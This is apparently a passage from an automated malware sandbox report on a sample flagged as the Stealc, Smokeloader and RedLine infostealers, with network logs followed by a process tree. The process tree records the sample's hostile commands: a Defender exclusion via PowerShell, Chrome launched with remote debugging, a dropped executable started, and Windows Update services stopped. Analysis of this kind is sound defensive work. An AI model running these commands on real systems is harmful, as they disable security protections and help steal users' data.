2024-11-01 12:43:22 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:22 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:22 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 4fba8623-501e-0064-4a33-2b1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124322Z-16ccfc49897bxnsthC1DFW5azc00000000sg0000000054xh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:22 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	62439	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:22 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:23 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:22 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 35c28e81-301e-0051-5f09-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124322Z-16ccfc498972mdvzhC1DFWzrms00000000mg000000006try x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:23 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	62440	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:23 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:23 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:23 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 38943712-901e-002a-666e-2a7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124323Z-159b85dff8fdh9tvhC1DFW50vs00000003a0000000002b4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:23 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	62441	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:23 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:23 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:23 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 418c36ca-101e-008d-6d09-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124323Z-16ccfc498972q798hC1DFWe4nw00000000p0000000009se8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:23 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	62442	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:23 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:23 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:23 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e4f189f6-d01e-005a-18af-2a7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124323Z-159b85dff8fprglthC1DFW8zcg00000003400000000004y5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:23 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	62443	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:23 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:23 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:23 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 1eed0190-a01e-0021-1a09-2c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124323Z-16ccfc49897bnsqjhC1DFWhxb800000000r0000000004e71 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:23 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	62444	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:23 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:23 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:23 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 3ed94e31-001e-0065-3809-2c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124323Z-16ccfc49897rwhbvhC1DFWx88g00000000g0000000001rmp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:23 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Target ID:	0
Start time:	08:41:52
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xLgTQcFdIJ.exe"
Imagebase:	0x400000
File size:	649'728 bytes
MD5 hash:	F299A21673DA1C7F3884CDA4855D5177
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2193245741.0000000002EF3000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2193454572.0000000002F69000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:42:01
Start date:	01/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:42:01
Start date:	01/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:42:02
Start date:	01/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2260,i,8336973660302099987,9170347431899203215,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:42:29
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\EHDHDHIECG.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:42:29
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:42:30
Start date:	01/11/2024
Path:	C:\ProgramData\EHDHDHIECG.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\EHDHDHIECG.exe"
Imagebase:	0x7ff6d4360000
File size:	8'707'480 bytes
MD5 hash:	D9A5E741B1F67593422BFB1A165288BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 67%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:42:31
Start date:	01/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:42:31
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:42:31
Start date:	01/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	08:42:31
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 6956 -ip 6956
Imagebase:	0x2f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:42:32
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6956 -s 2296
Imagebase:	0x2f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:42:36
Start date:	01/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	08:42:36
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff617400000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:42:36
Start date:	01/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6ef4e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:42:36
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff776170000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6ef4e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6ef4e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6ef4e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:42:37
Start date:	01/11/2024
